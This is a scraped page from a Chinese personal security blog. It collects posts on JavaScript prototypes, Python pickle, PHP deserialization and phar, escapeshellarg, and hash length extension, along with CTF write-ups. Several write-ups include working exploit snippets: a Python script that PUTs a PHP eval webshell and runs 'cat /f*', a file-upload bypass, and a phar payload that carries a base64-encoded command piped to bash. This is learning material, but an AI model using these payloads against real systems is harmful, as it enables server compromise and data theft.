原型：JS中的对象包含了一个prototype的内部属性，这个属性所对应的就是该对象的原型。

js中的所有引用类型（函数，数组，对象）都有______proto______属性(隐式原型)，而函数除了有______proto______属性，还拥有一个prototype属性(显式原型)。

原型对象(prototype)

当创建一个函数时，该函数会自动带有prototype属性(上面说了)，这个属性是一个指针，指向了一个对象，这个对象就是原型对象。默认情况下，所有原型对象都会自动获得一个constructor（构造函数）属性，这个属性是一个指向prototype属性所在函数的指针。也就是说，==每个构造函数(constructor)都有一个原型对象(prototype)==。

理清一下

每个构造函数都有一个 prototype 原型对象,

每个实例对象(object)都有一个 __proto__ 属性，指向它的构造函数的原型对象( prototype)

所有原型对象都会自动获得一个constructor（构造函数）属性，这个属性是一个指向prototype属性所在函数的指针

function A(){
 //console.log ('111');

}
var B=new A();

if (B.__proto__===A.prototype) {//实例对象B的隐式原型(__proto__)指向它构造函数的显式原型(prototype),指向就是恒等于
 console.log ('666');
 
}//输出666

这里B是一个实例对象，访问其______proto______属性-->指向构造函数(A)的原型对象prototype-->构造函数的constructor属性

prototype是一个类的属性，所有类对象在实例化的时候将会拥有prototype中的属性和方法
一个对象的__proto__属性，指向这个对象所在的类的prototype属性

p神的原话。

JavaScript原型链继承

第一条举个例子

python pickle 反序列化

Tue, 24 Oct 2023 15:48:00 +0800

pickle模块

pickle模块是对Python对象结构进行二进制序列化和反序列化的协议实现，就是把Python数据变成流的形式。类似php对对象进行序列化。pickle会创建一个python语言专用的二进制格式，

pickle模块中的两个主要函数dump()和load()。

这里贴张图：

也就是对对象进行序列化和反序列化的操作，和php中的serialize和unserialize类似。举一个例子：

import pickle
from Demo import test1

# class test1():
# def __init__(self, name='haker'):
# self.name = name

print('[+] 序列化')
print(pickle.dumps(test1()))
print('[+] 反序列化')
print(pickle.loads(pickle.dumps(test1())).name)

#[+] 序列化
#b'\x80\x04\x95(\x00\x00\x00\x00\x00\x00\x00\x8c\x04Demo\x94\x8c\x05test1\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x05haker\x94sb.'
#[+] 反序列化
#haker

这里可以看到序列化后的数据，这是opcode码。这里了解一下PVM(python虚拟机)的组成和执行流程。

PVM

对python，它可以直接从源代码运行程序。python解释器先将源代码编译为字节码，然后将字节码放在PVM里面执行。

由三部分组成：

指令处理器( Instruction processor ) 从数据流中读取操作码(opcode)和参数 , 并对其进行解释处理 . 指令处理器会循环执行这个过程 , 不断改变 stack和 memo区域的值 .直到遇到 ==.==这个结束符号。这时 , 最终停留在栈顶的的值将会被作为反序列化对象返回 。
栈区( stack )

由 Python的列表( list)实现 , 用来临时存储数据、参数以及对象。作为流数据处理过程中的暂存区 , 在不断的进出栈过程中完成对数据流的反序列化操作，并最终在栈顶生成反序列化的结果
标签区(存储区---memo )

由 Python的字典( dict)实现 , 可以看作是数据索引或者标记 , 为 PVM 的整个生命周期提供存储功能 .简单来说就是将反序列化完成的数据以 key-value的形式储存在memo中，以便使用。

session_start对数组处理进行写文件

Tue, 17 Oct 2023 12:55:00 +0800

看代码：

<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
 unset($parameters['action']);//消除数组中的action
}

call_user_func($action, $parameters);//回调函数

if(count(glob(__DIR__.'/*'))>3){//对当前目录进行判断，如果文件大于3 读取flag文件
 readfile('flag.txt');
}

?>

也就是往当前目录写文件，我们如果想要使用fopen()，file_put_contents()，进行写入，参数至少都要两个，而这里只能传一个参数；可以考虑session_star()，这个函数可以接收一个数组进行初始化，数组中可以设定session options

session_start():

session_start — 启动新会话或者重用现有会话。session_start(array $options = []): bool

options
此参数是一个关联数组，如果提供，那么会用其中的项目覆盖 会话配置指示 中的配置项。此数组中的键无需包含 session. 前缀。

可以看到对options的解释：此数组中的键无需包含 session. 前缀。PHP: 运行时配置 - Manual

session.save_path：

定义了传递给存储处理器的参数。如果选择了默认的 files 文件处理器，则此值是创建文件的路径。默认为 /tmp。

那么我们就能够自定义存储会话的存储路径，我们就能够往指定的目录下进行保存我们的回话文件。

?action=session_start&save_path=D:/a_tool/phpStudy/PHPTutorial/WWW/zsxq/10.5

然后我们添加或修改cookie，我们的会话文件就保存在指定的目录。

注意：

测试时注意文件的权限，使用php 7.0以上测试 ,我使用的php7.1.11。

escapeshellarg和escapeshellcmd

Sat, 07 Oct 2023 15:48:00 +0800

escapeshellarg()

看官方给出的解释： escapeshellarg — 把字符串转义为可以在 shell 命令里使用的参数。

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号，这样以确保能够直接将一个字符串传入 shell 函数，并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()、system() 和执行运算符。

在 Windows 上，escapeshellarg() 用空格替换了百分号、感叹号（延迟变量替换）和双引号，并在字符串两边加上双引号。此外，每条连续的反斜线(\)都会被一个额外的反斜线所转义。

也就是说，他会确保我们传入的参数是安全的，将引号经过转义重新组成。

看一下例子：(在linux下跑，win下看不到效果)

<?php
$a="xx";
$b=escapeshellarg($a);
echo $b ;
echo("\n");
//输出 'xx'

添加引号输出。

再看：

<?php
$a="x'x";
$b=escapeshellarg($a);
echo $b ;
//输出 'x'\''x'
<?php
$a="x''x";
$b=escapeshellarg($a);
echo $b ;
//输出 'x'\'''\''x'

因为我们加了一个引号，他将引号转义表示并且输出。

知识点：

linux中反引号：带上反引号的命令，反引号内的命令先执行一次，再将结果执行一次

第一步:先执行反引号内部的命令，结果为 cat 1.txt 第二步:将结果再执行一次，也就是 cat 1.txt

linux中的单引号和双引号:

区别：单引号属于强引用，它会忽略所有被引起来的字符的特殊处理，被引用起来的字符会被原封不动的使用；而双引号属于弱引用，它会对一些被引起来的字符进行特殊处理。简单来说，单引号直接输出内部字符串，不解析特殊字符；双引号内则会解析特殊字符

看下图片：

如果在参数拼接时，使用了双引号的话，即使使用了escapeshellarg()，也可能导致命令执行漏洞。

escapeshellcmd()

看官方给出的解释： escapeshellcmd — shell 元字符转义

2023巅峰极客unserialize

Sun, 24 Sep 2023 15:46:01 +0800

环境搭建

题目镜像：lxxxin/dfjk2023_unserialize 开启环境：

docker run -it -d -p 4599:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/dfjk2023_unserialize

题目考点

1.反序列化字符串逃逸

2.源码泄露

3.无数字字母rce

解题过程

开始一个登录框，试一下万能密码

这里注意报错信息，push_it类里面的_toString方法必须返回一个字符串类型的值，这道题应该是反序列的一道题。

这里通过扫目录，发现源码泄露，直接访问www.zip，下载源码。这里有4个php文件先看index.php

<?php
include_once "my.php";
include_once "function.php";
include_once "login.html";
session_start();//开启会话

if (isset($_POST['root']) && isset($_POST['pwd'])) {
	$root = $_POST['root'];
	$pwd = $_POST['pwd'];
	$login = new push_it($root, $pwd);//实例化push_it类
	$_SESSION['login'] = b(serialize($login));//先进行序列化，再经过b函数处理
	die('<script>location.href=`./login.php`;</script>');
}
?>

my.php

<?php

class pull_it {
	private $x;
	function __construct($xx) {
		$this->x = $xx;
	}
	function __destruct() {
		if ($this->x) {
			$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';//无数字字母
		if (eval($preg_match)) {
			echo $preg_match;
			exit("save_waf");
	}
		@eval($this->x);//目标点
		}	
}
class push_it {
	private $root;
	private $pwd;
	function __construct($root, $pwd) {
		$this->root = $root;
		$this->pwd = $pwd;
	}
		function __destruct() {
		unset($this->root);
		unset($this->pwd);
	}
	function __toString() {
		if (isset($this->root) && isset($this->pwd)) {
			echo "<h1>Hello, $this->root</h1>";
		}
		else {
			echo "<h1>out!</h1>";
		}}
}
?>

function.php

SICTF 我全都要！

Tue, 12 Sep 2023 15:03:49 +0800

考点

1.反序列化

2.pop链

3.clone关键字和clone()魔术方法

解题过程

分析代码

<?php
highlight_file(__FILE__);

class B{
 public $pop;
 public $i;
 public $nogame;

 public function __destruct()
 {
 if(preg_match("/233333333/",$this->pop)){//pop->A
 echo "这是一道签到题，不能让新生一直做不出来遭受打击";
 }
 }

 public function game(){
 echo "扣1送地狱火";
 if ($this->i = "1"){
 echo '<img src=\'R.jpg\'>';
 $this->nogame->love();//->call nogame->P 2
 }
 }
 public function __clone(){
 echo "必须执行";
 eval($_POST["cmd"]);
 }
}
class A{
 public $Aec;
 public $girl;
 public $boy;

 public function __toString()
 {
 echo "I also want to fall in love";
 if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
 $this->Aec->game();//Aec->B 1
 }
 }
}
class P{
 public $MyLover;
 public function __call($name, $arguments)
 {
 echo "有对象我会在这打CTF???看我克隆一个对象！";
 if ($name != "game") {
 echo "打游戏去，别想着对象了";
 $this->MyLover = clone new B;//MyLover->B
 }
 }
}
if ($_GET["A_B_C"]){
 $poc=$_GET["A_B_C"];
 unserialize($poc);
}

clone关键字和__clone()魔术方法：

php中clone关键字用于复制一个对象

[NSSCTF 2nd]php签到

Mon, 11 Sep 2023 14:02:17 +0800

前言

一个简单的文件上传的绕过。

解题过程

分析代码：

pathinfo() 函数：

pathinfo() 函数以数组的形式返回关于文件路径的信息。

pathinfo(path,options)

参数	描述
path	必需。规定要检查的路径。
options	可选。规定要返回的数组元素。默认是 all。可能的值：PATHINFO_DIRNAME - 只返回 dirnamePATHINFO_BASENAME - 只返回 basenamePATHINFO_EXTENSION - 只返回 extension(拓展名)PATHINFO_FILENAME - 只返回 filename

 <?php

function waf($filename){
 $black_list = array("ph", "htaccess", "ini");
 $ext = pathinfo($filename, PATHINFO_EXTENSION);//这里只返回扩展名
 foreach ($black_list as $value) {
 if (stristr($ext, $value)){//进行扩展名判断
 return false;
 }
 }
 return true;
}

if(isset($_FILES['file'])){
 $filename = urldecode($_FILES['file']['name']);
 $content = file_get_contents($_FILES['file']['tmp_name']);
 if(waf($filename)){
 file_put_contents($filename, $content);//写入文件
 } else {
 echo "Please re-upload";
 }
} else{
 highlight_file(__FILE__);
}

这里我们分析后，发现对上传的文件的后缀进行了过滤，这里使用.绕过，当时在做的时候一直没过去，忽略了windows下是.绕过，而在linux下要用转义符/.进行绕过。

在windows下创建一个1.txt.文件，它会自动转换为1.txt，而在linux下，1.txt.是真实存在的。

import requests

myurl = 'http://node5.anna.nssctf.cn:28919/'
file_content = "<?php phpinfo();?>'"
file = {'file': ('1.php%2f.', file_content)}
response = requests.post(url=myurl, files=file)
print(response.text)

结语

系统的特性。简单的文件上传。

[NSSRound#1 Basic]basic_check

Wed, 06 Sep 2023 15:34:16 +0800

打开题目

发现只有一行显示页面代码，通过扫描目录并没有有用的信息。

 <?php highlight_file(__FILE__);// Welcome to NSSCTF Round#1 Basic, have fun.

考察点

这道题目考查http中的put请求，通过curl -i -X OPTIONS http://node4.anna.nssctf.cn:28936/index.php，可以看到allow头部

curl 参数-X 指定命令。这里用了一个 http OPTINOS，options也算一个http请求，

http options

HTTP 的 OPTIONS 方法用于获取目的资源所支持的通信选项。客户端可以对特定的 URL 使用 OPTIONS 方法，也可以对整站（通过将 URL 设置为“*”）使用该方法。

作用：

检测服务器所支持的请求方法
CORS 中的预检请求(preflight request)

Allow头部

Allow 首部字段用于枚举资源所支持的 HTTP 方法的集合。

这里可以看到允许put方法，

put请求

可以看到如果没有找到请求的资源，会自动创建一个新资源，也就是我们可以自己上传文件到服务器，随便打。

import requests

myurl='http://node4.anna.nssctf.cn:28257/eval.php'
mypayload="<?php eval($_GET['a']);?>"
re=requests.put(url=myurl,data=mypayload)
mypayload2="a=system('cat /f*');"
re2=requests.get(url=myurl,params=mypayload2)
print(re2.text)

vscode调试js代码配置

Sun, 03 Sep 2023 07:37:00 +0800

前言

前几天在分析原型链污染的代码时，对js代码需要调试，当我用vscode进行调试时发现了一些问题。调试运行不起来？

如何用vscode对js代码进行调试？

第一步

这里我们使用node.js对js代码进行调试。下载安装node.js环境。官网下载即可，Node.js (nodejs.org )。安装完毕后我们使用 node -v查看一下是否环境配置成功。

第二步

打开我们要调试的文件夹，这里我创建一个新的文件夹演示。

我们使用vscode打开工作文件夹。我们单击运行->打开配置

这个时候会自动创建一个文件夹，包含了一个launch.json文件，就是我们要配置的文件。

这里面是一些配置信息，我们只需要修改最后一个program，这个${workspaceFolder}表示当前目录，后面是我们要进行调试的文件，我们这里对1.js进行调试。

第三步

到这里我们已经可以对代码进行调试了，使用快捷键F5启动调试。

左边可以看到一些变量，上边我们可以对代码进行下一步或者上一步的调试。

结语

一直敲的代码都不多，一些基本的功能也不常用。vscode确实是一个很好用的开发工具，首先占用的运行内存小(轻量化)，其次通过插件实现多种语言的编写，以及各种各样的插件，还需要自己去探究。

DASCTF7月挑战赛MyPicDisk

Thu, 24 Aug 2023 04:52:00 +0800

题目考点

1.phar反序列化

2.xpath注入

3.命令拼接

解题过程

1.获得源码

万能密码登录，在重定向页面发现源码。

2.分析代码

先看这一部分，当$result为真且session存在，会提示登录成功，用户名和密码通过xpath语法进行查询，我们可以通过xpath注入绕过，也就是第一步的万能密码登录。

这里可以通过xxe盲打将账号密码得出，但这里还不太会。

这里通过判断是不是admin，如果不是就删除会话，前面大概判断逻辑就是，如果session不存在重定向到登录界面，如果session存在，可以往下操作。

因为我这里是没得到账号和密码，不过这题可以通过要往下操作时再发一遍登录的包进行一个session的存在。

这部分实现了一个上传文件的功能，结合前面的逻辑，也就是当sesison存在时，我们可以进行一个文件的上传，这里对文件类型进行了判断，

最后一部分，有个echo md5_file($filename);可以使用伪协议

再看FILE类

可以看到最后我们可以进行命令拼接

3.解题思路

通过文件上传phar文件然后通过md5_file()用phar协议去读phar文件，在生成phar中拼接命令，但这里对拼接的命令进行了过滤，可以通过base64加密再解密绕过。

生成phar文件

<?php
class FILE{
 public $filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i>1.txt";
 public $lasttime;
 public $size;
}

$phar = new Phar("bb.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$aa = new FILE();
$phar->setMetadata($aa);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

上传phar文件

因为对上传文件进行了限制，这里改为.jpg文件上传。

hash长度扩展攻击

Sun, 13 Aug 2023 15:13:00 +0800

hash长度扩展攻击

hash算法

hash算法又叫散列算法，把任意长度的字符串加密为固定长度的字符串。

hash算法流程

这里以md5算法进行解释。

1.将数据分组

对我们输入的数据进行分组，每64字节为一组，也就是对数据进行取余，余数进行数据填充。

2.填充数据

数据不够64字节，会进行数据填充，填充的第一个字节为hex(80)，这里填充原则为，对二进制，第一位取1，其他后面全部填充0，填充到56字节，这里的hex(80)也就是bin(10000000),填充到56字节。

3.补充长度信息

后面8个字节为对长度进行描述，比如我们输入的数据为10字节，那么对长度的描述第57位填充为dec(10*8bit)-> hex(50)。

4.加密运算

这里进行一些列的运算，用每一组的64字节数据对初始向量进行运算，并将运算结果作为下一次运算的初始值，如果没有下一次运算，该结果就是运算的散列值。这里具体运算过程还没进行学习。

计算时会有一个初始向量，

A 01 23 45 67 0x67452301
B 89 AB CD EF 0xEFCDAB89
C FE DC BA 98 0x98BADCFE
D 76 54 32 10 0x10325476

这里0x后面的数据是初始代码，然后与64字节数据进行第一次运算，初始向量被覆盖掉，然后再进行相同的运算，直到最后一步。最后一步的向量经过高低位互换后就是最后的hash值。

假如最后一轮的运算后的向量值为：
 A=0xabcdef12
 B=0xabcdef12
 C=0xabcdef12
 D=0xabcdef12
进行高低位互换之后得到的数值为：
12 ef cd ab
12 ef cd ab
12 ef cd ab
12 ef cd ab

举个例子

我们对nihao进行md5加密，分析一下流程首先对nihao进行64取余，不够整除，余数为5，这里对数据进行填充。

php不能以变量函数调用eval

Sat, 12 Aug 2023 11:11:00 +0800

php不能以变量函数调用eval

变量函数：

将一个函数的名称赋值给一个变量，在这个变量后面加上括号就实现了变量函数调用。

先举一个例子

<?php
$a="system";
$b="echo nihao";
$c='eval';
$a($b);
echo "\n";
输出 nihao 相当于执行了 system("echo nihao");

再看一个例子

$a="system";
$b="echo nihao";
$c='eval';
$c($b);
echo "\n";
这里运行抛出了异常，相当于 eval("echo nihao");

这里是因为eval在php中并不是一个函数，而是语言结构，也就是不符合变量函数。

assert在==php7.2==之前是函数。在7.2版本之后也变成了语言结构。

eval:

将字符串当做php代码执行。

assert：

执行有返回值的php代码。

本地测试

<?php
highlight_file(__FILE__);

@$a = $_GET['a'];
@$b = $_GET['b'];
@$a($b);
?>

这里我使用的php5.6版本。

先通过eval测试：

发现没有任何回显。再通过assert测试一下：

成功返回。

总结

之前一直以为eval是一个函数，现在知道了是语法结构。assert在==php7.2==之前是函数。在7.2版本之后也变成了语言结构

phar反序列化

Fri, 11 Aug 2023 16:21:00 +0800

phar反序列化

phar是什么

像java中的jar一样，它是php中的一种压缩包。它可以存放多个文件，无需解压，php就能够访问并执行内部语句。

phar构成部分

stub phar

文件标识，也就是php能够通过这个标识来知道他是phar文件，格式为： xxx，前面内容和中间内容不限，但必须以__HALT_COMPILER();结尾，这样php才能够识别是phar文件。 ==因为前面的内容不限，在遇到限制文件格式时可以通过这点进行绕过。==

manifest

用于存放压缩文件的权限属性等信息，并且用户自定义的meta-data(元数据)会以序列化的形式存储，这也是phar反序列化的攻击点。这里的meta-data我的理解为我们构造的序列化的数据。

被压缩文件的内容，这里文件名和文件内容随便写。因为我们最好要用到的是序列化后的内容，这里进行反序列化时也不会识别到它，这里看张图：

signature

签名。在文件末尾

phar反序列化漏洞成因

前提条件

1.可以上传文件 2.有文件操作的函数 ==因为它本身不能进行反序列化，这里要使用phar协议来访问文件，达到一个反序列化的效果。==

phar文件生成

这里举个例子说明： ==注意==：要使用phar这个类，php.ini文件的phar.readonly选项要改为Off。

<?php
 class test {
 public $a;
 }
 $phar = new Phar("test.phar"); //生成一个phar文件后缀名必须为phar
 $phar->startBuffering();//开始缓冲Phar 写操作
 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

 $o = new test();
 $o -> a='hacker';
 
 $phar->setMetadata($o); //将自定义的meta-data存入manifest
 $phar->addFromString("test.txt", "aaa"); //添加要压缩的文件，内容为aaa
 //签名自动计算
 $phar->stopBuffering();//停止缓冲对 Phar 归档的写入请求，并将更改保存到磁盘
?>

这里在开始创建文件时要$phar->startBuffering();开始写缓冲，结束时$phar->stopBuffering();停止写缓冲。

记录

Thu, 10 Aug 2023 16:57:00 +0800

建站测试

168's blog

关于

关于我

关于本站

联系方式

log4j2搭建复现探究

前言

漏洞简介

环境搭建

JFinal CMS 5.1.0 命令执行漏洞分析(CVE-2024-53477)

JFinal CMS 5.1.0 命令执行漏洞分析(CVE-2024-53477)

环境搭建

漏洞简述

漏洞分析

调试过程

国光ssrf靶场--打穿内网

实验4 CSRF/SSRF靶场渗透

前言

环境搭建

渗透过程

存活主机和开放端口

2024强网杯部分

xiaohuanxiong

Proxy

初探Fastjson漏洞

fastjson是什么

环境搭建

Fastjson简单使用

JNDI注入初学习

JNDI注入初学习

JNDI简介

Naming Service 命名服务

Directory Service 目录服务

API

实例：通过JNDI进行dns查询

Zico2靶场

作业1--Zico2靶场渗透测试

环境搭建

渗透过程

信息收集

目录穿越(目录遍历)总结

前言

nginx目录穿越

漏洞复现

IIS目录遍历

漏洞复现

云主机SK/AK泄露利用

前言

介绍

什么是SK/AK

SK/AK泄露

泄露场景

HeapDump文件泄露

APP泄露

漏洞利用

阿里提供的OSS图形化管理工具

java安全CC6链分析

前言

分析

LazyMap

java安全CC1链分析

1.前言

2.环境准备

影响版本

配置源码

创建项目

pom.xml导入依赖

sdk设置

批量网站sec权重查询小工具

前言

简介

模块安装

使用方法

注意事项

ipv6小机玩法

前言

ipv6配置域名解析

ipv6使用frp进行内网穿透

环境

nginx配置